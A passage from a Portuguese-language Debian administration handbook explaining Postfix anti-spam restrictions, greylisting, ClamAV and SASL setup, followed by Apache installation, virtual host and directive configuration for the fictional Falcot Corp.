As últimas duas regras rejeitam qualquer mensagem proveniente de um servidor listados em
uma das listas negras indicadas. RBL é um acrônimo para Remote Black List (Lista Negra Remota);
existem várias dessas listas, mas todas elas listam servidores mal configurados em que os spam-
mers usam para transmitir seus e-mails, bem como encaminham e-mails inesperados bem como
máquinas infectadas com worms ou vírus.

DICA

Listas brancas e RBLs
Listas negras, por vezes, incluem um servidor legítimo que tem sofrido um inci-
dente. Nestas situações, todos os e-mails provenientes de um desses servidores
seria rejeitado a menos que o servidor esteja listado em uma lista branca definida
em /etc/postfix/access_clientip.

A prudência recomenda a inclusão de todos os servidores confiáveis na lista branca
de onde muito e-mail são geralmente recebidos.

Verificando a Validade dos Comandos EHLO ou HELO

Toda troca SMTP começa com um comando HELO (ou EHLO), seguido do nome do servidor de
e-mail enviante; verificar a validade deste nome pode ser interessante.
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Exemplo 11.7 Restrições no nome anunciado com EHLO

smtpd_helo_restrictions = permit_mynetworks,
reject_invalid_hostname,
check_helo_access hash:/etc/postfix/access_helo,
reject_non_fqdn_hostname,
warn_if_reject reject_unknown_hostname

A primeira diretiva permit_mynetworks permite que todas as máquinas da rede local se apre-
sentem livremente. Isso é importante, porque alguns programas de e-mail não respeitam essa
parte do protocolo SMTP de forma suficientemente correta e podem se apresentar com nomes
sem sentido.
A regra reject_invalid_hostname rejeita e-mails quando o anuncio EHLO lista um nome de
host incorreto sintaticamente. A regra reject_non_fqdn_hostname rejeita mensagens quando
o nome do host anunciado não é um nome de domínio totalmente qualificado (incluindo um
nome de domínio, bem como um nome de host). A regra reject_unknown_hostname rejeita
mensagens se o nome anunciado não existe no DNS. Uma vez que esta última regra infelizmente
leva a muitas rejeições,os administradores converteram seu efeito em uma simples advertência
com o modificador warn_if_reject como um primeiro passo; eles podem decidir remover este
modificador em uma etapa posterior, após a auditoria dos resultados desta regra.
Usando permit_mynetworks como a primeira regra tem um efeito colateral interessante: as
regras seguintes aplicam-se apenas aos hosts fora da rede local. Isso permite bloquear todos
os hosts que se anunciam como parte do falcot.com, por exemplo, adicionando uma linha fal-
cot.com REJECT Você não é da nossa rede! no arquivo /etc/postfix/access_helo.

Aceitando ou recusando baseado em remetente anunciado

Toda mensagem tem um remetente, anunciado pelo comandoMAIL FROM do protocolo SMTP;
novamente esta informação pode ser validada de diversas maneiras.

Exemplo 11.8 Verificações do Remetente

smtpd_sender_restrictions =
check_sender_access hash:/etc/postfix/access_sender,
reject_unknown_sender_domain, reject_unlisted_sender,
reject_non_fqdn_sender

A tabela /etc/postfix/access_sender mapeia algum tratamento especial a alguns remeten-
tes. Isso geralmente significa listar alguns remetentes em uma lista branca ou uma lista negra.
A regra reject_unknown_sender_domain exige um domínio de remetente válido, já que tal do-
mínio é necessário para um endereço válido. A regra reject_unlisted_sender rejeita remetentes
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locais se o endereço não existe; isso impede que emails sejam enviados a partir de um endereço
inválido no domínio falcot.com, e as mensagens que se originam de joe.bloggs@falcot.com são
apenas aceitas se tal endereço realmente existe.
Finalmente, a regra reject_non_fqdn_sender rejeita e-mails que pretendemvir de endereços sem
um nome de domínio totalmente qualificado. Na prática, isso significa rejeitar e-mails vindos
de umusuário@máquina: o endereço deve ser anunciado como user@machine.example.com ou
user@example.com.

Aceitando e Rejeitando Baseado no Destinatário

Todo e-mail tem ao menos um destinatário, anunciado com o comando RCPT TO no protocolo
SMTP. Estes endereços também são passíveis de validação, mesmo que sejam menos relevantes
do que as verificações feitas no endereço do remetente.

Exemplo 11.9 Verificações pelo Destinatário

smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination, reject_unlisted_recipient,
reject_non_fqdn_recipient

reject_unauth_destination é a regra básica que exige que mensagens externas sejam endereça-
das para nós; mensagens enviadas para um endereço não servido por este servidor são rejeita-
das. Sem esta regra, um servidor se torna um retransmissor (”relay”) aberto que permite que
spammers enviem e-mails não solicitados; esta regra é, portanto, obrigatória, e vai ser melhor
incluí-la perto do início da lista, de forma que nenhuma outra regra possa autorizar amensagem
antes de seu destino ser verificado.
A regra reject_unlisted_recipient rejeita mensagens enviadas para usuários locais não-
existentes, o que faz sentido. Finalmente, a regra reject_non_fqdn_recipient rejeita en-
dereços não totalmente qualificados; isso faz com que seja impossível enviar um e-mail
para jean ou jean@machine, e em vez disso requer o uso do endereço completo, como
jean@machine.falcot.com ou jean@falcot.com.

Restrições Associadas ao Comando DATA

O comando DATA do SMTP é emitido antes do conteúdo da mensagem. Ele não fornece qual-
quer informação, por si só, além de anunciar o que vem a seguir. Pode ainda ser submetidos a
verificações.

Exemplo 11.10 Verificações pelo DATA

smtpd_data_restrictions = reject_unauth_pipelining
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A diretiva reject_unauth_pipelining faz com que amensagem seja rejeitada se o remetente envia
um comando antes da resposta ao comando anterior foi enviado. Isso evita uma otimização
comum usada por robôs de spammers, uma vez que eles geralmente não se importam em nada
pelas respostas e se concentram apenas no envio de tantos e-mails quanto possível em tão curto
espaço de tempo possível.

Aplicando as Restrições

Embora os comandos acima validam as informações em vários estágios de troca SMTP, o Postfix
só envia uma rejeição real como uma resposta ao comando RCPT TO.
Isto significa que mesmo se a mensagem for rejeitada devido a um comando EHLO inválido, o
Postfix conhece o remetente e o destinatário ao anunciar a rejeição. Então ele pode registrar
uma mensagem mais explícita do que ele poderia se a transação havia sido interrompida desde
o início. Além disso, um número de clientes SMTP não esperam falhas nos comandos SMTP
iniciais, e esses clientes serão menos perturbados por esta rejeição tardia.
A vantagem final para esta escolha é que as regras podemacumular informação durante as várias
fases do intercâmbio SMTP; este permite definir permissões mais refinadas, como a rejeição de
uma conexão não-local se ele se anuncia com um remetente local.

Filtrando Baseado no Conteúdo da Mensagem

O sistema de validação e restrição não seria completo sem uma maneira de aplicar verificações
para o conteúdo da mensagem. O Postfix diferencia as verificações praticadas nos cabeçalhos
de e-mail das que se aplicam ao corpo do e-mail.

Exemplo 11.11 Habilitação de filtros baseados em conteúdo

header_checks = regexp:/etc/postfix/header_checks
body_checks = regexp:/etc/postfix/body_checks

Ambos os arquivos contêm uma lista de expressões regulares (comumente conhecido como re-
gexps ou regexes) e ações associadas a serem acionadas quando os cabeçalhos de e-mail (ou corpo)
coincidir com a expressão.

OLHADA RÁPIDA

Tabelas de expressões
regulares (regexp)

O arquivo /usr/share/doc/postfix-doc/examples/header_checks.gz con-
tém muitos comentários explicativos e podem ser usados como ponto de par-
tida para a criação dos arquivos /etc/postfix/header_checks e /etc/postfix/
body_checks.
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Exemplo 11.12 Exemplos do arquivo /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)
/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

DE VOLTA AO BASICO

Expressão regular
o termo expressão regular (abreviado como regexp ou regex) faz referência a uma
notação genérica para expressar uma descrição do conteúdo e/ou da estrutura de
um conjunto de caracteres. Alguns caracteres especiais permitem a definição de
alternativas (por exemplo, foo|bar corresponde a ”foo” ou ”bar”), conjuntos de
caracteres permitidos (por exemplo, [0-9] significa qualquer dígito, e . - um ponto
- significa qualquer caractere), quantificações (s: corresponde ou s ou a cadeia
vazia, em outras palavras 0 ou 1 ocorrência de s, s+ corresponde a um ou mais
caracteres s consecutivos, e assim por diante). Parênteses permite o agrupamento
dos resultados da pesquisa.

A sintaxe precisa dessas expressões varia entre as ferramentas que as usam, mas
as características básicas são semelhantes.

è http://en.wikipedia.org/wiki/Regular_expression

O primeiro verifica o cabeçalho mencionando o software de e-mail; a mensagem será rejeitada
se GOTO Sarbacane (um software de e-mail em massa) for encontrado. A segunda expressão
controla o assunto da mensagem; se menciona uma notificação de vírus, podemos decidir não
rejeitar a mensagem, mas descartá-lo imediatamente.
Usando esses filtros é uma espada de dois gumes, porque é fácil de fazer as regras demasiada-
mente genéricas e como consequência perder e-mails legítimos. Nestes casos, não apenas as
mensagens serão perdidas, mas seus remetentes receberão mensagens de erro indesejadas (e
chatas).

11.1.4. Configurando ”listas cinzas” (greylisting)

“lista cinza” é uma técnica de filtragem na qual umamensagem é inicialmente rejeitada com um
código de error temporário, e é aceita apenas numa segunda tentativa após algum atraso. Esta
filtragem é particularmente eficiente contra spam enviado de muitas máquinas infectadas por
worms e vírus, já que estes softwares raramente agem como um agente SMTP completo (verifi-
cando o código de erro e tentando mandar a mensagem novamente mais tarde), especialmente
se muitos dos endereços ”harvested” são na verdade inválidos e tentar de novo seria apenas
uma perda de tempo.
Postfix não fornece lista cinza nativamente, mas existe uma funcionalidade na qual a decisão
de aceitar ou rejeitar uma dada mensagem pode ser delegada a um programa externo. O pacote
postgrey contém tal programa, feito para ser uma interface com este serviço de delegação de
políticas de acesso.
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Umavez o postgrey estando instalado, ele roda comoumdaemon e ouve na porta 10023. O Postfix
pode então ser configurado para usá-lo. adicionando o parâmetro check_policy_service como
uma restrição extra:
smtpd_recipient_restrictions = permit_mynetworks,

[...]
check_policy_service inet:127.0.0.1:10023

Cada vez que o Postfix alcança esta regra no conjunto de regras, ele irá se conectar ao daemon
postgrey e enviar a ele informações a respeito de mensagens relevantes. Do seu lado, o Post-
grey, considera a tripla endereço IP/remetente/destinatário e verifica em seu banco de dados se
a mesma tripla foi vista recentemente. Se sim, o Postgrey responde que a mensagem foi aceita;
se não, a resposta indica que a mensagem deve ser rejeitada temporariamente, e a tripla é regis-
trada no banco de dados.
A principal desvantagem de listas cinza é que mensagens legítimas podem ser atrasadas, o que
nem sempre é aceitável. também aumenta a carga em servidores que mandam muitos email
legítimos.

NA PRÁTICA

Desvantagens das listas
cinzas

Teoricamente, a lista cinza deve apenas atrasar o primeiro email de umdeterminado
remetente para um determinado destinatário e o atraso típico é da ordem de mi-
nutos. A realidade, contudo, pode diferir ligeiramente. Alguns grandes ISPs usam
clusters de servidores SMTP e quando uma mensagem é rejeitada inicialmente, o
servidor que repete a transmissão pode não ser o mesmo que o inicial. Quando isso
acontece, o segundo servidor obtém uma mensagem de erro temporária devido à
lista cinza também e assim por diante; Pode levar várias horas até que a transmis-
são seja tentada por um servidor que já esteve envolvido, uma vez que servidores
SMTP geralmente aumentam o intervalo entre tentativas após cada falha.

Como consequência, o endereço IP de entrada pode variar no tempo, mesmo para
um único remetente. Porém isso vai mais além: até mesmo o endereço do reme-
tente pode mudar. Por exemplo, muitos servidores de lista de discussão (mailing-
list) codificam informações extra no endereço do remetente a fim de serem capazes
de lidar commensagens de erro (conhecidas como bounces). Cada novamensagem
enviada para uma lista de discussão pode então precisar passar por uma lista cinza,
O que significa que ela tem que ser armazenada (temporariamente) no servidor do
remetente. Para listas de discussão muito grandes (com dezenas de milhares de
assinantes), isso pode em breve tornar-se um problema.

Para atenuar esses inconvenientes, o Postgrey gerencia uma lista branca de tais
sites, e mensagens que são emanadas a partir deles são imediatamente aceitas
sem passar pela lista cinza. Essa lista pode ser facilmente adaptada às necessida-
des locais, desde que ela seja armazenada no arquivo /etc/postgrey/whitelist_
clients.

INDO MAIS LONGE

greylisting seletivas com
milter-greylist

Os inconvenientes de uma lista cinza podem ser atenuados se a lista cinza só for
usada em um subconjunto de clientes que já são considerados como prováveis fon-
tes de spam (porque eles são listados em uma lista negra de DNS). Isso não é pos-
sível com o postgrey mas o milter-greylist pode ser utilizado para esse fim.

Neste cenário, como a lista negra do DNS nunca desencadeia uma rejeição defini-
tiva, torna-se razoável usar listas negras agressivas, incluindo aquelas que listam
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todos os endereços IP dinâmicos de clientes ISP (tais como pbl.spamhaus.org ou
dul.dnsbl.sorbs.net).

Como a milter-greylist usa a interface milter do Sendmail, a con-
figuração do lado do postfix é limitada a ”smtpd_milters =
unix:/var/run/milter-greylist/milter-greylist.sock”. A página de
manual de greylist.conf(5) documenta o /etc/milter-greylist/greylist.
conf e as inúmeras maneiras de configurar a milter-greylist. Você também terá
que editar o /etc/default/milter-greylist para realmente habilitar o serviço.

11.1.5. Personalização de filtros baseados no destinatário

Seção 11.1.3, “Restrições para Recebimento e Envio” [272] e Seção 11.1.4, “Configurando ”listas
cinzas” (greylisting)” [277] revisaram muitas das restrições possíveis. Todas objetivam limitar a
quantidade de spam recebido,mas todas têm suas desvantagens. É portanto,mais emais comum
personalizar o conjunto de filtros dependendo do destinatário. Na Falcot Corp, a lista cinza é
interessante para a maioria dos usuários, mas isso dificulta o trabalho de alguns usuários que
precisam de baixa latência em seus e-mails (como o serviço de suporte técnico). De maneira
similar, o serviço comercial às vezes tem problemas para receber e-mails de alguns provedores
asiáticos que podem constar em listas negras; este serviço pede um endereço não filtrado de
modo a ser capaz de corresponder.
O Postfix fornece tal customização de filtros com o conceito de “classe de restrição”. As classes
são declaradas no parâmetro smtpd_restriction_classes, e definidas da mesma maneira como
smtpd_recipient_restrictions. A diretiva check_recipient_access então define uma tabela de ma-
peamento de um determinado destinatário para o conjunto apropriado de restrições.

Exemplo 11.13 Definição de classes de restrição em main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023
aggressive = reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023
permissive = permit

smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination,
check_recipient_access hash:/etc/postfix/recipient_access

Exemplo 11.14 O arquivo /etc/postfix/recipient_access

# Unfiltered addresses
postmaster@falcot.com permissive
support@falcot.com permissive
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sales-asia@falcot.com permissive

# Aggressive filtering for some privileged users
joe@falcot.com aggressive

# Special rule for the mailing-list manager
sympa@falcot.com reject_unverified_sender

# Greylisting by default
falcot.com greylisting

11.1.6. Integração com um antivírus

Os muitos vírus circulando como anexos de e-mails fazem importante a configuração um anti-
vírus no ponto de entrada de rede da empresa, pois mesmo após uma campanha de conscienti-
zação alguns usuários ainda abrirão anexos de mensagens obviamente obscuras.
Os administradores da Falcot selecionaramo clamav como seu antivírus livre. O pacote principal
é o clamav, mas eles também instalaramalguns pacotes extras comoo arj, unzoo, unrar e lha, já que
eles são necessários para o antivírus poder analisar arquivos anexados em um desses formatos.
A tarefa de fazer a interface entre o antivírus e o servidor de email vai para o clamav-milter.
Ummilter (abreviação de mail filter) é um programa de filtragem especialmente projetado para
fazer a interface com os servidores de email. O milter usa uma interface de programação de
aplicativo (API) padrão que fornece uma performace muito melhor que os filtros externos para
servidores de email. Os milters foram inicialmente introduzidos pelo Sendmail, mas o Postfix o
adotou em seguida.

OLHADA RÁPIDA

Um milter para
Spamassassin

O pacote spamass-milter provê um milter baseado no SpamAssassin, o famoso
detector de email não solicitado. Ele pode ser usado para sinalizar mensagens como
prováveis spams (adicionando um cabeçalho extra) e/ou rejeitar as mensagens por
completo se sua pontuação de “spam” ultrapassar um determinado limiar.

Uma vez que o pacote clamav-milter esteja instalado, o milter deve ser reconfigurado para
rodar em uma porta TCP ao invés do soquete nomeado padrão. Isso pode ser feito com
dpkg-reconfigure clamav-milter. Quando questionado pela “Communication interface
with Sendmail”, responda “inet:10002@127.0.0.1”.

NOTA

Porta TCP real versus
soquete nomeado

A razão porque nós usamos uma porta TCP real ao invés de um socket nomeado
é que os daemons do postfix geralmente são executados em um ambiente ”chroo-
ted” e não têm acesso ao diretório que hospeda o socket nomeado. Você também
poderia decidir continuar usando um socket nomeado e escolher um local dentro
do ambiente ”chroot” (/var/spool/postfix/).
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A configuração padrão do ClamAV se encaixa na maioria das situações, mas alguns parâmetros
importantes ainda podem ser customizados com dpkg-reconfigure clamav-base.
O último passo envolve informar ao Postfix para usar o filtro recém-configurado. Isso é uma
simples questão de adicionar a seguinte diretiva ao /etc/postfix/main.cf:
# Virus check with clamav-milter
smtpd_milters = inet:[127.0.0.1]:10002

Se o antivírus causa problemas, essa linha pode ser comentada, e o service postfix reload
deve ser executado para que essa alteração seja levada em conta.

NA PRÁTICA

Testando o antivírus
Uma vez que o antivírus esteja configurado, seu comportamento correto deve ser
testado. A maneira mais simples de fazer isso é enviar um email de teste com um
anexo contendo o arquivo eicar.com (ou eicar.com.zip), o qual pode ser baixado
online em:

è http://www.eicar.org/86-0-Intended-use.html

Esse arquivo não é um vírus verdadeiro, mas um arquivo teste que todos os softwa-
res de antivírus no mercado diagnosticam como um vírus para permitir a checagem
das instalações.

Todas as mensagens manipuladas pelo Postfix agora passam pelo filtro de antivírus.

11.1.7. SMTP autenticado

Ser capaz de enviar emails requer um servidor SMTP ao alcance; e também requer que o referido
servidor SMTP envie emails por ele. Para usuários móveis, pode ser preciso que eles alterem,
regularmente, a configuração do cliente SMTP, já que o servidor SMTP da Falcot rejeita men-
sagens provenientes de endereços IP aparentemente não pertencentes à companhia. Existem
duas soluções: ou o usuário instala um servidor SMTP em seu computador, ou ele usa o servi-
dor da companhia com algum meio de autenticação como empregado. A primeira solução não
é recomendada já que o computador não estará permanentemente conectado, e não será capaz
de tentar enviar mensagens novamente em caso de problemas; nós iremos nos focar na última
solução.
A autenticação SMTP no Postfix se apoia no SASL (Simple Authentication and Security Layer). Ela
precisa dos pacotes libsasl2-modules e sasl2-bin instalados, e em seguida o registro de uma senha
no banco de dados do SASL para cada usuário que precise autenticar no servidor SMTP. Isso
é feito com o comando saslpasswd2, o qual recebe vários parâmetros. A opção -u define o
domínio de autenticação, que deve corresponder com o parâmetro smtpd_sasl_local_domain na
configuração do Postfix. A opção -cpermite criar umusuário, e -f permite especificar o arquivo a
ser usado se o banco de dados do SASL precisar ser armazenado em um local diferente do padrão
(/etc/sasldb2).
# saslpasswd2 -u ‘postconf -h nomedomeuhost‘ -f /var/spool/postfix/etc/sasldb2 -c jean
[... digite a senha de jean duas vezes ...]
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Note que o banco de dados do SASL foi criado no diretório do Postfix. Para garantir consistência,
nós também transformamos o /etc/sasldb2 emuma ligação simbólica apontando para o banco
de dados usado pelo Postfix, com o comando ln -sf /var/spool/postfix/etc/sasldb2
/etc/sasldb2.
Agora nós precisamos configurar o Postfix para usar o SASL. Primeiro, o usuário postfix pre-
cisa ser adicionado ao grupo sasl, para que ele possa acessar a conta no banco de dados do
SASL. Alguns novos parâmetros também são necessários para habilitar o SASL, e o parâmetro
smtpd_recipient_restrictions precisa ser configurado para permitir que cliente autenticado pelo
SASL possam enviar emails livremente.

Exemplo 11.15 Ativando o SASL no /etc/postfix/main.cf

# Enable SASL authentication
smtpd_sasl_auth_enable = yes
# Define the SASL authentication domain to use
smtpd_sasl_local_domain = $myhostname
[...]
# Adding permit_sasl_authenticated before reject_unauth_destination
# allows relaying mail sent by SASL-authenticated users
smtpd_recipient_restrictions = permit_mynetworks,

permit_sasl_authenticated,
reject_unauth_destination,

[...]

EXTRA

Cliente SMTP
autenticado

A maioria dos clientes de e-mail são capazes de fazer autenticação em um servidor
de SMTP antes de enviar mensagens de saída e usar esse recurso é uma simples
questão de configurar os parâmetros apropriados. Se o cliente em uso não oferece
esse recurso a solução alternativa é usar um servidor Postfix local e configurá-lo
para fazer o relay do email através de um servidor SMTP remoto. Neste caso, o pró-
prio Postfix local será o cliente que autentica com o SASL. Aqui estão os parâmetros
necessários:

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.falcot.com]

O arquivo /etc/postfix/sasl_passwd precisa conter o nome de usuário e senha
para autenticar no servidor mail.falcot.com. Aqui está um exemplo:

[mail.falcot.com] joe:LyinIsji

Como em todos osmapeamentos do Postfix, esse arquivo tem que ser transformado
em /etc/postfix/sasl_passwd.db através do comando postmap.
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11.2. Servidor web (HTTP)

Os administradores da Falcot Corp decidiram usar o servidor HTTP da Apache, incluído no De-
bian Jessie na versão 2.4.10.

ALTERNATIVA

Outros servidores web
OApache é apenas omais conhecido (e amplamente utilizado) servidor web, porém
existem outros; eles podem oferecer um melhor desempenho sob certas cargas de
trabalho, mas ao custo de terem um número menor de funcionalidades e módulos
disponíveis. Contudo, quando o servidor web em perspectiva é feito para servir
arquivos estáticos ou agir como um proxy, alternativas tais como nginx e lighttpd,
valem a pena serem investigadas.

11.2.1. Instalação do Apache

Instalar o pacote apache2 é tudo o que é preciso. ele contém todos os môdulos, incluíndo os
Multi-ProcessingModules (MPMs) que afetam como o Apache lida com processamento paralelo de
muitas requisições (aqueles que costumeiramente eram fornecidos em pacotes apache2-mpm-*
separados). Ele irá também puxar o apache2-utils que contém os utilitários de linha de comando
que nós iremos descobrir mais tarde.
O MPM em uso afeta significantemente a forma com que o Apache irá lidar com as requisições
simultâneas. Com o MPM worker, ele usa threads (processos leves), enquanto que com o MPM
prefork ele usa um grupo de processos criados antecipadamente. Com o MPM event ele também
usa threads, porém as conexões inativas (notavelmente aquelas mantidas abertas pelo recurso
HTTP keep-alive) são devolvidas a um segmento de gerenciamento dedicado.
Os administradores da Falcot também instalaramo libapache2-mod-php5 a fimde incluir suporte a
PHP noApache. Isso faz comque o evento padrãoMPM seja desabilitado, e o prefork seja instalado
em seu lugar, já que o PHP só funciona sob esse MPM em particular.

SEGURANÇA

Execução sob o usuário
www-data

Por padrão, o Apache lida com as requisições de entrada sob a identidade de usuário
www-data. Isso significa que uma vulnerabilidade em um script CGI executado pelo
Apache (para uma página dinâmica) não comprometa todo o sistema, mas apenas
os arquivos pertencentes a esse usuário em particular.

O uso do módulo suexec permite contornar essa regra para que alguns scripts CGI
sejam executados sob a identidade de outro usuário. Isso é configurado com a
diretiva SuexecUserGroup usergroup na configuração do Apache.

Outra possibilidade é usar um MPM dedicado, como o fornecido pelo libapache2-
mpm-itk. Esse módulo em particular tem um comportamento um pouco diferente:
ele permite o “isolamento” de hosts virtuais (na verdade, conjuntos de páginas)
para que cada um deles seja executado como um usuário diferente. Portanto, uma
vulnerabilidade em um site web não pode comprometer arquivos pertencentes ao
dono de outro site web.
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OLHADA RÁPIDA

Lista de módulos
Uma lista completa dos módulos padrão do Apache pode ser encontrada online.

è http://httpd.apache.org/docs/2.4/mod/index.html

O Apache é um servidor modular, e muitos recursos são implementados através de módulos
externos que o programa principal carrega durante sua inicialização. A configuração padrão
apenas habilita os módulos mais comuns, porém habilitar módulos novos é uma simples ques-
tão de rodar a2enmod módulo; para desabilitar ummódulo, o comando é a2dismod módulo. Es-
ses programas na verdade apenas criam (ou apagam) ligações simbólicas em /etc/apache2/
mods-enabled/, que apontam para para os arquivos reais (armazenados em /etc/apache2/
mods-available/).
Com sua configuração padrão, o servidor web ouve na porta 80 (como configurado em /etc/
apache2/ports.conf), e serve páginas a partir do diretório /var/www/html/ (como configu-
rado em /etc/apache2/sites-enabled/000-default.conf).

INDO ALÉM

Compatibilidade com SSL
O Apache 2.4 inclui o módulo SSL, necessário para HTTP seguro (HTTPS) ”de fá-
brica”. Ele apenas precisa ser habilitado com a2enmod ssl, e então as diretivas
necesssárias têm que ser adicionadas aos arquivos de configuração. Um exemplo
de configuração é fornecido em /etc/apache2/sites-available/default-ssl.
conf.

è http://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Alguns cuidados extra devem ser tomados se você quer fornecer conexões SSL com
Perfect Forward Secrecy (essas conexões usam chaves de sessão efêmera, que ga-
rantem que um comprometimento da chave secreta do servidor não resulte no com-
prometimento de tráfego criptografado antigo que poderia ter sido armazenado
durante um ”sniffing” na rede). Dê uma olhada nas recomendações da Mozilla, em
particular:

è https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

11.2.2. Configuração de servidores virtuais

Um servidor virtual é uma identidade adicional para o servidor web.
Apache considera dois tipos diferentes de hosts virtuais: aqueles que se baseiam no endereço
IP (ou na porta) e aqueles que se baseiam no nome de domínio do servidor web. O primeiro
método requer a alocação de um endereço IP diferente (ou porta) para cada site, enquanto o
segundo pode funcionar emumúnico endereço IP (e porta), os sites são diferenciados pelo nome
de máquina enviado pelo cliente HTTP (que só funciona na versão 1.1 do protocolo HTTP —
Felizmente essa versão é antiga o bastante, e assim, é utilizada por todos os clientes).
A (crescente) escassez de endereços IPv4 geralmente favorece o segundo método; contudo, fica
mais complexo se os hosts virtuais precisam fornecer HTTPS também, pois o protocolo SSL nem
sempre é fornecido para hospedagem virtual baseada em nome; a extensão SNI (Server Name
Indication) que permite uma combinação desse tipo não é suportada por todos os navegadores.
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Quando vários sites HTTPS precisam ser rodados no mesmo servidor, eles geralmente irão ser
diferenciados ou por rodar em uma porta diferente ou um endereço IP diferente (IPv6 pode
ajudar aqui).
A configuração padrão do Apache 2 habilita hosts virtuais baseados em nomes. Além disso, um
host virtual padrão é definido no arquivo /etc/apache2/sites-enabled/000-default.conf; esse host
virtual será usado se não for encontrado nenhum host que corresponda à solicitação enviada
pelo cliente.

ATENÇÃO

Primeiro servidor virtual
Requisições relativas a hosts virtuais desconhecidos sempre serão servidas pelo
primeiro host virtual definido, é por isso que nós definimos www.falcot.com em
primeiro lugar aqui.

OLHADA RÁPIDA

Suporte Apache ao SNI
O servidor Apache suporta uma extensão do protocolo SSL chamada Server Name
Indication (SNI). Esta extensão permite ao navegador enviar o nome do nome do
host do servidor web durante o estabelecimento da conexão SSL, muito antes do
que o HTTP o solicitaria, que foi usado anteriormente para identificar o host virtual
solicitado entre aqueles hospedados no mesmo servidor (com omesmo endereço IP
e porta). Isso permite ao Apache selecionar o certificado SSL mais adequado para
a transação a proceder.

Antes do SNI, o Apache sempre usava o certificado definido no host virtual padrão.
Clientes que tentavam acessar outro host virtual iriam então exibir avisos (war-
nings), pois eles recebiam o certificado que não correspondia com o site que eles
estavam tentando acessar. Felizmente, a maioria dos navegadores agora trabalham
com SNI; Isso inclui oMicrosoft Internet Explorer a partir da versão 7.0 (começando
no Vista), Mozilla Firefox começando com a versão 2.0, o Safari da Apple desde a
versão 3.2.1 e todas as versões do Google Chrome.

O pacote Apache fornecido pelo Debian é construído com suporte a SNI; portanto,
nenhuma configuração em particular é necessária.

Devemos também ter cuidado para garantir que a configuração do primeiro host
virtual (aquele usado por padrão) habilite TLSv1, pois o Apache utiliza os parâme-
tros deste primeiro hospedeiro virtual para estabelecer conexões seguras e eles tem
a melhor permissividade para isso!

Cada host virtual extra é então descrito por um arquivo armazenado em /etc/apache2/
sites-available/. Configurar um site web para o domínio falcot.org é portanto uma sim-
ples questão de criar o seguinte arquivo, e então, habilita o host virtual com a2ensite
www.falcot.org.

Exemplo 11.16 o arquivo /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80>
ServerName www.falcot.org
ServerAlias falcot.org
DocumentRoot /srv/www/www.falcot.org
</VirtualHost>
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O servidor Apache, como configurado até agora, usa os mesmos arquivos de log para todos os
hosts virtuais (embora isso possa ser alterado adicionando as diretivas CustomLog na definição
de hosts virtuais). É, entretanto, boa prática customizar o formato desse arquivo de log para
ter incluído o nome do host virtual. Isso pode ser feito criando um arquivo /etc/apache2/
conf-available/customlog.conf, que define um novo formato para todos os arquivos de log
(com a diretiva LogFormat), e habilitando-o com a2enconf customlog . A linha CustomLog
tem também que ser removida (ou comentada) do arquivo /etc/apache2/sites-available/
000-default.conf.

Exemplo 11.17 O arquivo /etc/apache2/conf.d/customlog.conf

# New log format including (virtual) host name
LogFormat ”%v %h %l %u %t \”%r\” %>s %b \”%{Referer}i\” \”%{User-Agent}i\”” vhost

# Now let’s use this ”vhost” format by default
CustomLog /var/log/apache2/access.log vhost

11.2.3. Diretivas comuns

Essa seção revê, brevemente, algumas das diretivas comumente usadas na configuração do Apa-
che.
O principal arquivo de configuração inclui vários blocosDirectory; eles permitem especificar di-
ferentes comportamentos para o servidor dependendo da localização do arquivo que está sendo
servido. Um bloco desse tipo comumente inclui as diretivas Options e AllowOverride.

Exemplo 11.18 Bloco Directory

<Directory /var/www>
Options Includes FollowSymlinks
AllowOverride All
DirectoryIndex index.php index.html index.htm
</Directory>

A diretiva DirectoryIndex contém uma lista de arquivos a serem experimentados quando uma
requisição do cliente coincide com um diretório. O primeiro arquivo existente da lista é usado
e enviado como resposta.
A diretivaOptions é seguida de uma lista de opções a serem habilitadas. O valorNone desabilita
todas as opções; correspondentemente, All habilita todas elas exceto MultiViews. As opções
disponíveis incluem:

• ExecCGI indica que scripts CGI podem ser executados.
• FollowSymlinks diz ao servidor que ligações simbólicas podem ser seguidas, e que a res-
posta deve conter o conteúdo do alvo de uma ligação como essa.
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• SymlinksIfOwnerMatch também diz ao servidor para seguir ligações simbólicas, mas ape-
nas quando a ligação e seu alvo são do mesmo dono.

• Includes habilita Server Side Includes (SSI para abreviar). Essas são diretivas embutidas nas
páginas HTML e executadas em tempo de execução de cada requisição.

• Indexes diz ao servidor para listar o conteúdo de um diretório se a requisição HTTP en-
viada pelo cliente aponta para um diretório sem um arquivo index (ie, quando nenhum
arquivo mencionado na diretiva DirectoryIndex existe nesse diretório).

• MultiViews habilita a negociação de conteúdo; isso pode ser usado pelo servidor para re-
tornar uma página web que coincida com a língua preferida configurada no navegador.

DE VOLTA AO BÁSICO

Arquivo .htaccess

O arquivo .htaccess contém as diretivas de configuração do Apache que são apli-
cadas cada vez que uma requisição diz respeito a um elemento do diretório aonde
ele é armazenado. O âmbito dessas diretivas também repercute para todos os sub-
diretórios dentro desse diretório.

A maioria das diretivas que podem ser definidas no bloco Directory também po-
dem ser definidas no arquivo .htaccess.

A diretiva AllowOverride lista todas as opções que podem ser habilitadas ou desabilitadas pelo
arquivo .htaccess. Umuso comumdessa opção é restringir ExecCGI, para que o administrador
escolha quais usuários tem permissão para rodar programas sob a identidade do servidor web
(o usuário www-data).

Autenticação obrigatória

Em algumas circunstâncias, o acesso a parte do site web precisa ser restrita, para que apenas
usuários legítimos que fornecerem um nome de usuário e uma senha tenham acesso ao con-
teúdo.

Exemplo 11.19 Arquivo .htaccess para autenticação obrigatária

Require valid-user
AuthName ”Private directory”
AuthType Basic
AuthUserFile /etc/apache2/authfiles/htpasswd-private

SEGURANÇA

Sem segurança
O sistema de autenticação usado no exemplo acima (Basic) tem uma segurançamí-
nima já que a senha é enviada em texto puro (ela apenas é codificada com base64,
que é uma codificação simples, ao invés de um método criptografado). Também
